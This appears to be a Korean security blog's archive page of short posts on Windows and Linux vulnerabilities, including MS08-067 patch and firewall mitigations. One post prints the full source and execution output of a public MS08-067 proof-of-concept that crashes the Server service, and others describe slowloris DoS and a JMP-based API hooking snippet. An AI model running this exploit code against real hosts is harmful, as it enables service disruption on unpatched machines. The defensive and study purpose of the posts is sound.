태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

'ⓤ System'에 해당되는 글 21건

  1. 2014.04.28 MS사의 EMET(Enhances Mitigation Experience Toolkit)
  2. 2013.01.25 [DLL Injection] AppInit_DLLs 비활성화(방지)
  3. 2012.06.13 Remotely Recovering Windows Passwords in Plain Text
  4. 2012.06.13 Pass the Hash Attack
  5. 2009.07.07 MS 비디오 스트리밍 ActiveX 컨트롤 취약점 주의
  6. 2009.06.22 Apache HTTP DoS 툴 - slowloris (2)
  7. 2008.10.29 ms08-067 취약점에 관한 FAQ
  8. 2008.10.27 ms08-067 소스 분석 및 실행(2008/10/23)
  9. 2008.10.27 MS08-067 취약점 업데이트 시급
  10. 2008.10.02 [Ubuntu]OpenSSH 취약점
  11. 2008.05.23 Debian/Ubuntu 계열 SSH 취약점 공격 도구 공개
  12. 2008.03.10 cold boot...
  13. 2008.01.17 MBR rootkit (2)
  14. 2008.01.14 API 후킹 방법중...JMP 코드를 이용하는 방법에 대해
  15. 2008.01.08 wdm 오디오 드라이버를 이용한 exploiting
  16. 2008.01.04 Windows Kernel Debugging (2)
  17. 2007.11.19 [Unlocker] 삭제되지않는 바이러스 DLL파일 삭제
  18. 2007.11.19 MD5Sum 에 대한 실용적 해킹 도구 출시
  19. 2007.11.11 RootkitRevealer v1.71
  20. 2007.10.27 Windows Thread Scheduler
  21. 2007.10.07 dllshell 간단 분석

MS사의 EMET(Enhances Mitigation Experience Toolkit)

ⓤ System 2014.04.28 10:41

MS사에서 무료로 제공되는 보안설정 도구.

 

소프트웨어 취약성이 악용되지 못하도록 하는 보안 유틸리티 도구로써 제로데이에 대응 가능

 

 

- 소개 링크: http://allimter.tistory.com/18

- EMET 다운로드: http://www.microsoft.com/en-us/download/confirmation.aspx?id=41138

- 현재 버전(4.1) 우회 기법 기술문서: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf

Trackback 0 : Comment 0

Write a comment


[DLL Injection] AppInit_DLLs 비활성화(방지)

ⓤ System 2013.01.25 12:17
출처: http://byung.egloos.com/5126114

 

 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows

Value

Description

Sample values

LoadAppInit_DLLs
(REG_DWORD)

Value that globally enables or disables AppInit_DLLs.

0x0 – AppInit_DLLs are disabled.
0x1 – AppInit_DLLs are enabled.

AppInit_DLLs
(REG_SZ)

Space -or comma-delimited list of DLLs to load. The complete path to the DLL should be specified by using short file names.

C:\PROGRA~1\Test\Test.dll

RequireSignedAppInit_DLLs
(REG_DWORD)

Require code-signed DLLs.

0x0 – Load any DLLs.
0x1 – Load only code-signed DLLs.

Trackback 0 : Comment 0

Write a comment


Remotely Recovering Windows Passwords in Plain Text

ⓤ System 2012.06.13 18:31
http://cyberarms.wordpress.com/2012/04/16/remotely-recovering-windows-passwords-in-pl/

 

Trackback 0 : Comment 0

Write a comment


Pass the Hash Attack

ⓤ System 2012.06.13 18:30

http://www.windowsecurity.com/articles/dissecting-pass-hash-attack.html

Trackback 0 : Comment 0

Write a comment


MS 비디오 스트리밍 ActiveX 컨트롤 취약점 주의

ⓤ System 2009.07.07 22:58

비디오 스트리밍 activex 컨트롤에 버퍼오버플로우 취약점이 발견되었다네요.

자세한 내용은 아래 링크를 참조하세요.


KISA : http://www.krcert.or.kr/index.jsp

xiang 블로그 : http://safelab.spaces.live.com/blog/cns!A6B213403DBD59AF!1420.entry

 

Trackback 0 : Comment 0

Write a comment


Apache HTTP DoS 툴 - slowloris

ⓤ System 2009.06.22 08:58


SANS Diary에 새로운 유형의 Apache HTTP DoS 툴(slowloris)에 관한 글이 올라왔네요.

SANS 기사에는 툴(소스코드)에 대한 링크가 존재하지 않았으나, 구글 검색으로 쉽게 찾을 수 있었으며 해당 툴에 대한 조작이 쉬워 국내에서도 이를 통한 공격이 발생할 것으로 보입니다.

#################################################################################

1. 공격 방식

  1.1. 기존 공격방식 : 단시간에 많은 HTTP/TCP 패킷을 서버로 전송해 부하를 일으킴

    >> 해결방법 : Apache와 같은 웹서버에서 순간적으로 접속이 증가하는 IP를 차단시키는 기능을 이용

  1.2. 'slowloris' 공격방식 : 정상적인 connection을 서버와 맺은 후 미완성된 HTTP 헤더를 서버로 전송해 connection을 연결시킨채 서버가 대기상태로 머물러 있게함, 결국 connection이 해제되지 않아 서버가 추가적인 요청을 받아들일 수 없게됨(느린 성능의 PC에서도 서버에 큰 부하를 줄 수 있음)

    >> 해결방법 : 임시로 서버의 max connection수를 증가시켜 공격을 지연시킬 수 있으나 궁극적인 해결책은 아니며, 현재 특별한 조치방법은 없다고 함

2. 취약 웹서버
  - Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, Squid

3. 안전한 웹서버
  - IIS6.0, IIS7.0, lighttpd

4. 참고사이트
  - http://isc.sans.org/index.html?on=diary (SANS Diary 원문)
  - http://ha.ckers.org/slowloris/ (툴 설명 및 다운로드 가능)

Trackback 0 : Comments 2
  1. 엔신 2009.06.23 00:15 신고 Modify/Delete Reply

    음... max connection을 어느정도 증가시키고,
    Timeout과 KeepAliveTimeout를 1~5 초 정도로 짧게 주어서
    연결 지속시간을 짧게 만드는 것도 어느정도는 효과를 볼 수 있겠네요.
    어찌됐거나....세상 무섭네요...

    • Favicon of http://suban.tistory.com BlogIcon suban 2009.06.23 08:23 신고 Modify/Delete

      저도 이런거 보면 무서워요^^; 엔신님이 말씀하신 방법외에도 mod_limitipconn 모듈 사용, Apache 서버 앞단에 Reverse proxy 사용(Perlbal, nginx)으로 완화 방안이 있습니다. 또 안전한 웹서버도 디폴트 설정은 취약하니 설정 꼭 변경해 주시고요. 그럼 참고하세요~

Write a comment


ms08-067 취약점에 관한 FAQ

ⓤ System 2008.10.29 09:32

SecuriTeam 블로그에 취약점에 관한 질의응답 형태로 취약점에 관한 윤곽을 잡을 수 있도록 한 FAQ가 포스팅되었네요.

참고하세요.

링크 : http://blogs.securiteam.com/index.php/archives/1150

Trackback 0 : Comment 0

Write a comment


ms08-067 소스 분석 및 실행(2008/10/23)

ⓤ System 2008.10.27 09:30


2008/10/23일자 익스플로잇에 대한 분석입니다.
서버서비스만 죽이는 것 같네요.

*******************************************************************************

이 소스코드 문제가 있는 것 같네요..ㅡㅡ;

srvsvc.idl에 정의된 _NetprPathCanonicalize 함수가 srvsvc_killer.cpp에서 호출될 때

함수 argument 개수가 맞지 않네요

소스 수정 후 실행해도 NdrClientCall2 함수에서 에러를 리턴합니다.


*******************************************************************************


milw0rm에 릴리즈된 exploit을 다운로드 받아 압축을 풀어보면

mk.bat
MY_HASH.TXT
srvsvc.idl
srvsvc_killer.cpp
README.TXT

의 파일이 존재합니다.

아래는 exploit의 cpp소스코드입니다.

-------------------------------------------------------------------------------
#include <windows.h>
#include "srvsvc.h"
#include <stdio.h>

extern "C" PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }
extern "C" VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)
{
  RPC_STATUS status;
  unsigned char *strBind = 0;
  handle_t handle;

  status = RpcStringBindingComposeA(0, // object uuid
 (RPC_CSTR)"ncacn_np", // protseq
 (RPC_CSTR)argv[1], // net addr
 (RPC_CSTR)argv[2], // endpoint
 0,
 &strBind);
  if (status) { printf("%d\n", status); return status; }

  printf("%s\n", strBind);

  status = RpcBindingFromStringBinding(strBind, &handle);
  if (status) { printf("%d\n", status); return status; }

  RpcTryExcept {
    unsigned char x[1000];
    long q = 1;
//    _NetprPathCanonicalize(handle, L"AAA", L"BBB", x, 1000, L"", &q, 0x100);
    _NetprPathCanonicalize(handle, L"AAA", L".\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", x, 1000, L"", &q, 1);
  } RpcExcept(EXCEPTION_EXECUTE_HANDLER) {
    unsigned long code = RpcExceptionCode();
    printf("WAHAHAH %d %08x\n", code, code);
  } RpcEndExcept

  printf("hi\n");
}
-------------------------------------------------------------------------------

위 소스코드 중 _NetprPathCanonicalize api구조를 보면

-------------------------------------------------------------------------------
long _NetprPathCanonicalize(
   /* [string][unique][in] */ wchar_t __RPC_FAR *arg_1,
   /* [string][in] */ wchar_t __RPC_FAR *arg_2,
   /* [size_is][out] */ unsigned char __RPC_FAR *arg_3,
   /* [range][in] */ long arg_4,
   /* [string][in] */ wchar_t __RPC_FAR *arg_5,
   /* [out][in] */ long __RPC_FAR *arg_6,
   /* [in] */ long arg_7);
-------------------------------------------------------------------------------

와 같습니다.

실행방법은 mk.bat를 실행한후 아래와 같이 입력합니다.

-------------------------------------------------------------------------------
D:\srv\ms08-067>die \\172.21.119.135 \pipe\srvsvc
ncacn_np:\\\\172.21.119.135[\\pipe\\srvsvc]
WAHAHAH 1727 000006bf
hi
-------------------------------------------------------------------------------

Trackback 0 : Comment 0

Write a comment


MS08-067 취약점 업데이트 시급

ⓤ System 2008.10.27 08:42
좀 늦은 감이 있네요.

ms08-067에 관한 out-of-band의 긴급 패치가 릴리즈되고 나서 exploit가 millw0rm에 뜨면서 공격이 활성화되고 있습니다.

다들 긴급히 패치해주셔야겠네요.

다음 링크는 nchovy의 취약점에 관한 내용입니다.

오늘 MS08-067 긴급 패치가 발표되었습니다. 이번 취약점(CVE-2008-4250)은 Server Service가 RPC 요청을 제대로 처리하지 못해서 발생한 것으로, 2003/XP/2000/NT 운영체제에서 긴급, 2008/Vista 운영체제에서 중요 등급에 해당합니다.

비스타와 2008 서버에서는 주소 공간 레이아웃 랜덤화 (ASLR)데이터 실행 방지 (DEP) 때문에 익스플로잇이 어렵습니다. 게다가 UAC prompt를 꺼놓더라도 명명된 파이프(named pipe)를 사용하려고 할 때 UAC가 무결성 점검을 수행하므로 공격을 어렵게 합니다.

이미 익스플로잇(Win32/MS08067.gen!A)이 발견된 상태이고, 웜으로 발전할 가능성이 크므로 최대한 빨리 대응하시기 바랍니다. 마이크로소프트는 2주 전 XP 시스템을 대상으로 한 맬웨어의 공격을 분석하던 도중 이번 취약점을 발견했다고 합니다. 이 맬웨어 식별자는 TrojanSpy:Win32/Gimmiv.ATrojanSpy:Win32/Gimmiv.A.dll 입니다.

패치를 빨리 적용하시고, 외부에서 접근하지 못하도록 방화벽에서 139, 445 포트를 반드시 차단하시기 바랍니다. 다른 임시 대응책으로는 Computer Browser 서비스를 중지하는 방안이 있고, 비스타/2008의 경우에는 RPC 식별자를 기준으로 필터링이 가능합니다.

Computer Browser 서비스를 중지하게 되면 자신의 컴퓨터에 있는 파일이나 프린터를 공유할 수 없게 되지만, 다른 시스템의 공유 파일이나 프린터는 계속 사용할 수 있습니다.

비스타와 2008 서버의 경우에는 윈도우 기본 방화벽을 이용해서 RPC 식별자를 필터링할 수 있습니다. 이번 취약점에 관련해서는 UUID 4b324fc8-1670-01d3-1278-5a47bf6ee188를 차단하시면 됩니다. 설정하려면 아래와 같이 진행하시면 됩니다.

netsh

먼저 위의 명령어를 쳐서 네트워크 쉘로 전환합니다.

netsh>rpc
netsh rpc>filter
netsh rpc filter>add rule layer=um actiontype=block
netsh rpc filter>add condition field=if_uuid matchtype=equal data=4b324fc8-1670-01d3-1278-5a47bf6ee188
netsh rpc filter>add filter
netsh rpc filter>quit

이렇게 치고 나면 방화벽 차단 정책이 설정됩니다. 다음 명령으로 제대로 설정되었는지 확인합니다.

netsh rpc filter show filter

제대로 설정되었다면 아래와 같은 화면이 보일 것입니다.

Listing all RPC Filters.
---------------------------------
filterKey: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
displayData.name: RPCFilter
displayData.description: RPC Filter
filterId: 0x12f79
layerKey: um
weight: Type: FWP_EMPTY Value: Empty
action.type: block
numFilterConditions: 1

filterKey는 랜덤하게 생성되는 식별자이니 신경쓰지 않으셔도 됩니다. 방화벽을 설정한 이후에 SMB 프로토콜에 의존하는 응용프로그램은 제대로 동작하지 않을 수 있습니다.

원래대로 되돌리려면 아래 명령으로 방화벽 정책을 삭제합니다.

netsh rpc filter delete filter xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx는 위에서 확인했던 filterKey입니다.

명명된 파이프의 접근을 제한하는 방법

공식적인 방법은 아니지만, SVRD에서 소개한 또 다른 임시 대응 방안이 하나 있습니다. 서버 서비스의 취약 지점을 공격하려면 명명된 파이프(named pipe)를 이용해야 합니다. 기본 접근 제한 정책은 netapi32.dll에 정의되어 있는데, advapi32.dll을 이용해서 명명된 파이프의 접근 제한을 변경할 수 있습니다. 다만, 현재 윈도우 세션에 적용되는 것 뿐이라 윈도우 재부팅 될 때마다 다시 설정해야 하는 문제가 있을 뿐입니다. RPC에 관련된 명명된 파이프에 익명 사용자가 접근할 수 없도록 제한하면, 익명 사용자로 공격하는게 아주 힘들어집니다. chacl.c 소스를 컴파일해서 아래와 같이 실행하면 됩니다.

C:\>chacl.exe \\.\pipe\srvsvc
opening up \\.\pipe\srvsvc
Got back 3 ACE entries
Found an entry for ANONYMOUS LOGON. Deleting it...
deleted that ACE

Setting new DACL changes...
Done

C:\>chacl.exe \\.\pipe\browser
opening up \\.\pipe\browser
Got back 3 ACE entries
Found an entry for ANONYMOUS LOGON. Deleting it...
deleted that ACE

Setting new DACL changes...
Done

'ⓤ System' 카테고리의 다른 글

ms08-067 취약점에 관한 FAQ  (0) 2008.10.29
ms08-067 소스 분석 및 실행(2008/10/23)  (0) 2008.10.27
MS08-067 취약점 업데이트 시급  (0) 2008.10.27
[Ubuntu]OpenSSH 취약점  (0) 2008.10.02
Debian/Ubuntu 계열 SSH 취약점 공격 도구 공개  (0) 2008.05.23
cold boot...  (0) 2008.03.10
Trackback 0 : Comment 0

Write a comment


[Ubuntu]OpenSSH 취약점

ⓤ System 2008.10.02 11:21


다음의 우분투 버젼에서 보안 문제가 대두되었습니다.

Ubuntu 6.06 LTS
Ubuntu 7.04
Ubuntu 7.10


이 문제는 Kubuntu, Edubuntu, Xubuntu에도 해당됩니다.
다음의 패키지 버젼으로 시스템을 업그레이드 하시면 해결됩니다.

Ubuntu 6.06 LTS:
 openssh-server                  1:4.2p1-7ubuntu3.5

Ubuntu 7.04:
 openssh-server                  1:4.3p2-8ubuntu1.5

Ubuntu 7.10:
 openssh-server                  1:4.6p1-5ubuntu0.6

ForceCommand 명령이 우회될 수 있는 취약점이 발견되었습니다.
로컬 사용자가 악성 ~/.ssh/rc 파일을 생성하면, 그들의 사용자 ID로 부정한 명령을 실행할 수 있습니다. 이 문제는 Ubuntu 7.10에만 해당됩니다.

USN-355-1는 OpenSSH의 취약점들을 수정했다. 이 문제에 대한 수정이 불완전하다는 것이 발견되었다. 원격 공격자는 다양한 로그인을 시도한다. 얻을 수 있는 모든 열려있는 포트를 채움으로써 DoS를 주도한다.

우분투 6.06과 7.04이 해당됩니다.

최신 버젼으로 업데이트하기 바랍니다.

'ⓤ System' 카테고리의 다른 글

ms08-067 소스 분석 및 실행(2008/10/23)  (0) 2008.10.27
MS08-067 취약점 업데이트 시급  (0) 2008.10.27
[Ubuntu]OpenSSH 취약점  (0) 2008.10.02
Debian/Ubuntu 계열 SSH 취약점 공격 도구 공개  (0) 2008.05.23
cold boot...  (0) 2008.03.10
MBR rootkit  (2) 2008.01.17
Trackback 0 : Comment 0

Write a comment


Debian/Ubuntu 계열 SSH 취약점 공격 도구 공개

ⓤ System 2008.05.23 09:47

출처 : http://swbae.egloos.com/1756119

최근 SSH brute-force 가 증가한 점에 대해서는 http://swbae.egloos.com/1755252에서 언급한 바 있음.

해당 취약점에 대한 공격 코드가 공개되었음.
http://www.milw0rm.com/exploits/5622

공격 코드를 공개한 전문가의 말에 따르면 20분 이내에 원하는 키 값을 찾을 수 있다고 함.

Remote Root 로그인을 허용해놓은 SSH 서버 관리자는 특히 위험 우려가 높음.
추측 가능한 아이디를 사용하는 일반 사용자의 계정이 서버 침탈의 계기를 제공할 수 있으므로, 조속한 시일 이내에 http://swbae.egloos.com/1755252에서 언급한 조치를 취하는 것이 바람직함.
호스팅 환경에서 로컬 사용자에 의한 Root 공격 시나리오도 발생할 수 있음.

대량 SQL 삽입 시에도 SecurityFocus 의 위험 경보는 1단계, SANS 의 위험경보는 Green 이었음.
이 취약점이 발표되자 마자 SecurityFocus 는 2단계, SANS 는 Yello 상태로 경보 수준을 향상시켰음.

Trackback 0 : Comment 0

Write a comment


cold boot...

ⓤ System 2008.03.10 21:42

휘발성 데이터를 저장하는 메모리를 말하는 것 같네요.

할말이 없네요...입이 그냥 따~악 벌어집니다.ㅎㅎ

여서 중요한 cold boot라는거? 이런 기법이 생겼다는 거...

나만 이제 안건가...

출처 : http://www.netan.go.kr/

Microsoft는 'Cold Boot' 암호해킹이 불가능하다고 한다

2008년 2월 26일 사용자들은 윈도우에서 약간의 세팅을 변경함으로써 암호화된 데이터를 탈취당하지 않게 할 수 있고, 마이크로소프트 회사의 제품관리자는 어떻게 공격자가 컴퓨터 메모리에 있는 "유령"을 검사할 수 있는 지 보여주는 새로운 연구를 통해 노출되는 위협을 중시하지 않았다고 했다.
윈도우 비스타 보안을 위한 제품 책임관리자인 Russ Humphries는 새로운 지난 주 알려진 비스타의 BitLocker 또는 Mac OS X의 FileVault에서 사용되는 암호키가 도입된 새로운 Low-Tech에 대해 답변했다.

"Cold Boot" ( 범죄자가 콤프레스 가스 또는 니트로 액으로 컴퓨터 메모리를 차갑게 하는 방식) 로 명명된 방법은 시스템을 껐을 때나 Sleep 모드 상태일 때 데이터가 즉시 사라지지 않는 것에 기인했다. 대신에 메모리 칩에 저장된 비트들은 천천히 사라진다.
메모리를 섭씨 -90도로 냉각하는 것은 공격자에게 10분동안 메모리 상태를 조사하게 할 수 있다고 프린스턴 대학의 연구원이 말했다. 또한 온도를 -342도 낮추기 위해 봉지에 메모리를 넣고 니트로 액에 담글 때 한시간 후 단지 0.17%의 데이터 소멸을 관찰했다고 하였다.

이 사실들이 생각지 못한 것이라 Humphries는 비스타 보안팀의 블로그에서 논쟁이 있었으며 사실을 확인하기 위해 여러 전제조건을 확인했다고 한다.

공격자는 기계에 대해 물리적인 접근을 가져야만 했다.
랩탑은 "Hibernate" 모드 또는 전원이 나간 상태보다 "Sleep" 모드에 있다. 따라서 랩탑을 훔치는 사람은 공격을 실행하기에 충분히 정통한 지식을 가지고 상당한 관심을 가져야 한다.

Humpries는 "나는 암호화키를 재구성하게 하는 도구를 랩탑에 설치하여 가지고 다니거나 , 또는 그 일을 위해 휴대용 콤프레스 통을 가지고 다녀야 하므로 도난이 다소 일어날것 같지 않다고 가정하고 싶다." 고 얘기한다.

모든 사람이 그 논쟁을 인정하지 않지만 Humpries의 블로그에 의견을 게시한 Doug라는 아이디의 사용자는 "우리는 벌써 두개의 랩탑이 도난당했다. 두개 모두 전원이 켜있었고 메모리 기반 공격을 위한 첫번째 케이스가 될 것같다." 라고 얘기하며 "그래서 이 것은 당신이 생각하는 것처럼 불가능한 것이 아니다."라고 덧붙였다.
그러나 실제로 Humpries는 공격의 가능성을 중요하다고 보지 않으며, BitLocker (비스타에 포함된 전체 디스크 암호화 기능) 사용자들이 Cold Boot에서 랩탑을 보호할 수 있는 방법을 하나씩 설명했다.

"여기에서 상기해야할 것은 보안의 균형을 위한 오래된 금기인 사용성과 위험이다"라고 Humpries는 얘기한다. "BitLocker는 사용자들에게 또는 더 많은 관리자들에게 보안을 증가시키지만 사용하기에 편의성이 떨어지는 여러 옵션들을 제공한다." 라고 얘기하며,
특히, 그는 사용자들 또는 IT 관리자들이 개인 번호 또는 USB에 저장된 암호키에서의 확인 없이 PC부팅 또는 휴면모드에서 복귀하지 못하도록 BitLocker를 설정할 수 있다고 말했다.

마이크로소프트의 다른 이들은 지난 주 Cold Boot 연구 보고가 널리 퍼지는 것에 반박하기 위해 곤혹스러웠다. BitLocker 테스트 팀의 Douglas Maclver는 회사 사용자들이 취할 수 있는 절차 리스트를 추가했다. 그는 "프린스턴 연구와 발표는 인상적이다. 그러나 읽어보면 '그렇다면 문제에 대처하고 자신을 보호하기 위해 즉시 할 수 있는 것은 무엇인가' 하는 궁금증은 사라질 수 있다. 우리의 고객들은 이 동일한 질문을 우리에게 계속 질문하고 있다."고 한다.

Trackback 0 : Comment 0

Write a comment


MBR rootkit

ⓤ System 2008.01.17 09:59

출처 : http://coderant.egloos.com/4086039

* 발췌한 내용입니다.

MBR(Master Boot Roader) 루트킷은 eEye Digital에 있던 두명의 보안 전문가가 처음 시작했던 BootRoot라는 프로젝트의 일환이었다.
MBR을 수정하는 형태로 모든권한을 획득하는 루트킷 같은 것이다.
이와 유사한것으로옛날 Master Boot 섹터값을 조작하는바이러스로 유명했던 브레인 바이러스는 바로 MBR의시스템 인터럽트 주소 13H 조작해서 부팅이 안되게 했던 바이러스의 시초였다.
MBR Rootkit의 특징은 어떠한 레지스트리 수정도 악성코드 파일도 존재하지 않지만 루트킷으로 악용될 수 있는 기술이다.
Windows 시스템 자체에서 은닉시키기 위해서 disk.sys 드라이버를 후킹해서IRP_MJ_READ 와 IRP_MJ_WRITE 루틴을 dispatch하면 은닉화되어 탐지가 안된다고 한다.자세한 내용은 아래 내용을 참조하기 바란다.

[원문]
http://www.prevx.com/blog/75/Master-Boot-Record-Rootkitis-here-and-ITW.html

빨리 루트킷 공부하고 싶네요...일단 토익 점수부터 따는게 우선...화이팅!!

Trackback 0 : Comments 2
  1. Favicon of http://blog.naver.com/voiees BlogIcon 피니 2008.01.20 21:11 신고 Modify/Delete Reply

    WDK? DDK 같은 종류를 다루는 거죠?

  2. Favicon of http://blog.naver.com/moto99 BlogIcon 이동영 2008.01.20 23:52 신고 Modify/Delete Reply

    네 비스타에서 지원하는게 WDK지요

Write a comment


API 후킹 방법중...JMP 코드를 이용하는 방법에 대해

ⓤ System 2008.01.14 13:32

출처 : http://micingamja.egloos.com/4079152

미친감자님의 설명을 편집했습니다.

음... JMP 코드가지고 후킹 후킹을 하기 위해서는요...

mov byte ptr [edi],0E9h ; E9는 jmp 인스트럭션 opcode 이다.
mov eax,offset new_sleep ; eax에 new_sleep 함수의 주소를 할당한다.
sub eax,edi ; 할당된 주소에서 후킹하고자 하는 위치[edi]의 주소를 뺀다. 상대주소 계산을 위해서다.
sub eax,5 ; 추가로 5bytes를 빼줌으로써 jmp 인스트럭션 길이(5bytes)를 감안해준다.
inc edi ; 삽입 된 E9 opcode 다음에 계산된 상대거리(offset)를 삽입하기 위해 1bytes 올려준다.
stosd ; 주소를 edi에 복사한다.

자..이 코드를 함 봐봅시다.

MOV BYTE PTR [EDI], 0E9H

이 코드는 'E9'가 점프 코드잖아요...아시다시피...

그리도 'EDI'는 뭐냐..함수의 엔트리 주소가 있는 거죠...

그곳에 'E9'를 집어 넣죠...

그리고 E9 다음에 점프할 '상대 주소'를 계산해서 넣주기만 하면...

되죠...

하는 방법은

MOV EAX, OFFSET NEW_SLEEP

SUB EAX, EDI

SUB EAX, 5

이렇게 하면 EAX에 상대 주소 값이 들어가잖아요...

그리고,

INC EDI 해줘서 1증가 시켜주고요


STOSD

명령으로 EAX를 EDI에 복사!! 이렇게 하면...

점프 코드 삽입 끝...

오늘은 여기 까지 할께요..
그런데, 이것 말고 해줘야 할게 몇개 더 있겠죠....
그것은 다음기회에...

Trackback 0 : Comment 0

Write a comment


wdm 오디오 드라이버를 이용한 exploiting

ⓤ System 2008.01.08 19:50

wdm 오디오 드라이버를 이용한 exploiting 문서입니다.

-문서다운받기-

해킹 기술 개발하는 사람들이야 말로 천재가 아닐까 합니다.

99%의 실패와 1%의 운으로 이뤄졌을 것이 뻔하니까요...

정말 대단한 사람들이야...

케빈 미트닉이 쓴 '해킹 침입의 드라마'란 책에 로빈훗 해커가 나오는데요...그런 해커가 되고 싶어요~ @0@/

하지만 우리나라에선 해킹 했다는 것만으로 욕 지지리 먹고 구속당할게 뻔하니까...외국에서?? ㅋㅋ

안타까운 현실입죠...

저같은 경우만 해도한번 그런 적이있었는데 로빈 훗인 줄 알았지만 돌팔매질 당한 후, 동굴에 쳐박혀 도 닦는 로빈 훗이 되버렸습니다...케케케

Trackback 0 : Comment 0

Write a comment


Windows Kernel Debugging

ⓤ System 2008.01.04 12:30

출처 : http://leony.egloos.com/4045661

루트킷 공부하려고 유명하다고 하는 책 하나 사다는 ?J는데 언제 볼지는 모르지만 일단 관련정보를 수집해 놓는 것도 좋겟죠

아래는 퍼온 글입니다.

커널 디버깅과 루트킷 관련 연구할 때 유용하게 쓰일 수 있는 livekd 라는 툴입니다.

예전에 sysinternal에서 제공했는데 현재 MS 에서 인수해서 MS 사이트에서 제공하고 있네요..

본 툴은 자동으로 심볼을 다운로드하는 기능을 가지고 있으며,
Debugging Tools for Windows 32-bit Version 라는 디버깅 툴이 필요합니다.

SITE HERE:
http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx
http://www.microsoft.com/technet/sysinternals/SystemInformation/LiveK...

Usage
usage: livekd [-w] [-d] [-k ] [debugger options]

-w

Runs windbg instead of Kd (Kd is the default)

-d

Runs Dumpchk exam instead of Kd (Kd is the default)

-k

EX)
RING3 에서 RING0 로의 API 콜할 때 이용되는 KeServiceDescriptorTable
kd> x nt!KeService*
80554340 nt!KeServiceDescriptorTableShadow =
80554380 nt!KeServiceDescriptorTable =

Trackback 0 : Comments 2
  1. Favicon of http://blog.naver.com/coreanpro BlogIcon 소미 2008.03.01 12:30 신고 Modify/Delete Reply

    저는 간만에 sysinternals 사이트 갔다가 Microsoft 로고가 떡하니 있길래
    잘못들어온줄 알았답니다...ㄷㄷ

  2. Favicon of http://blog.naver.com/moto99 BlogIcon 이동영 2008.03.01 14:03 신고 Modify/Delete Reply

    ms 기세가 요즘 하늘을 찌르는 것 같아요..ㄷㄷ;

Write a comment


[Unlocker] 삭제되지않는 바이러스 DLL파일 삭제

ⓤ System 2007.11.19 22:05

출처 : http://blog.daum.net/bobodong/5469946



[Unlocker] 삭제되지않는 바이러스 DLL파일 삭제

▶ 왜 Unlock가 필요했는가?
오늘 이런 일이 있었더랬습니다.
백신이 설치되어있지않은 PC를 발견하여 Trendmicro의 오피스스캔을 설치했습니다.
근데 설치후로 인터넷도 되지않고 오피스스캔도 업데이트가 되지않는것이 아닙니까?
백신설치후에 오히려 컴터가 이상해졌다는 원망을 듣게되었습니다.
오피스스캔의 로그를 보니 두개의 파일이 문제가 있더군요...
rund1132.exe 와 oksound.dll이란 파일이 바이러스에 감염되어있는데 삭제가 되지않고있었습니다.
rundll32.exe와 비슷한 이름으로 얼핏봐서는 정상적인 파일로 혼동될수 있었습니다. ^^
또 인터넷이 되지않는것은 아마도 oksound.dll때문일것으로 예상이 되었습니다.
통신을 하는 어플리케이션에 붙어서 네트웍장애를 일으키는 바이러스가 종종 발견되고있죠...

 

pslist로 확인을 해보니 rund1132.exe가 실행이 되고있더군요..
pskill로 프로세스를 kill하고 삭제하니 삭제가 잘 되었습니다.
하지만 oksound.dll은 삭제할수가 없었습니다. 레지스트리에도 그런 파일이 없었습니다.
이런 기능을 해주는 파일을 찾게되었는데 바로 그것이 Unlocker였습니다.

▶ Unlocker 을 다운로드 해보세요
Unlocker는 무료입니다. 대신 donation을 해달라는 홈페이지의 설명도 보실수있져
Download the latest version for Windows 2000 / XP / 2003 / Vista - Unlocker is Freeware 라고 되어있죠
다운로드후 설치하시면 되겠습니다.

제작자 사이트: http://ccollomb.free.fr/unlocker
다운로드: http://ccollomb.free.fr/unlocker/unlocker1.8.5.exe

▶ Unlocker 을 어떻게 사용하나?
문제가 되는 파일에 마우스를 올린후 우클릭을 하면 Unlocker라는 메뉴가 보이는데 이것을 클릭합니다.
그러면 현재 그 파일이 어떤 실행파일들에 링크되어 있는지 보여줍니다.
이때 Unlock All 버튼을 클릭하시면 모든 조인된 관계들을 단절시켜 줍니다.
리부팅이 필요한 경우가 많습니다......

제 경우 oksound.dll 이 트렌드마이크로의 tmproxy와 인터넷익스플로어등에 조인된것을 발견할수있었습니다.
제가 바이러스를 제거할때 바로 캡춰를 못하는 바람에 unlocker홈페이지에 있는 이미지를 올립니다.
참고로 유사 프로그램들과의 unlock의 비교페이지를 올려봅니다. 물론 unlock이 제일좋다는 그런표입니다.
http://ccollomb.free.fr/unlocker/#comparison
 
 
Trackback 0 : Comment 0

Write a comment


MD5Sum 에 대한 실용적 해킹 도구 출시

ⓤ System 2007.11.19 21:59

출처 : http://swbae.egloos.com/1669381

MD5Sum 에 대한 실용적 해킹 도구 출시

MD5 의 충돌 문제에 대해 발표된지 꽤 지났는데도, 그간 피부로 느껴질만한 변화가 없었지요. 몇몇 BSD 에서 MD5, SHA-1 대신에 RIPEMD-160 이 사용되는 작은 변화를 제외하곤 말이죠.

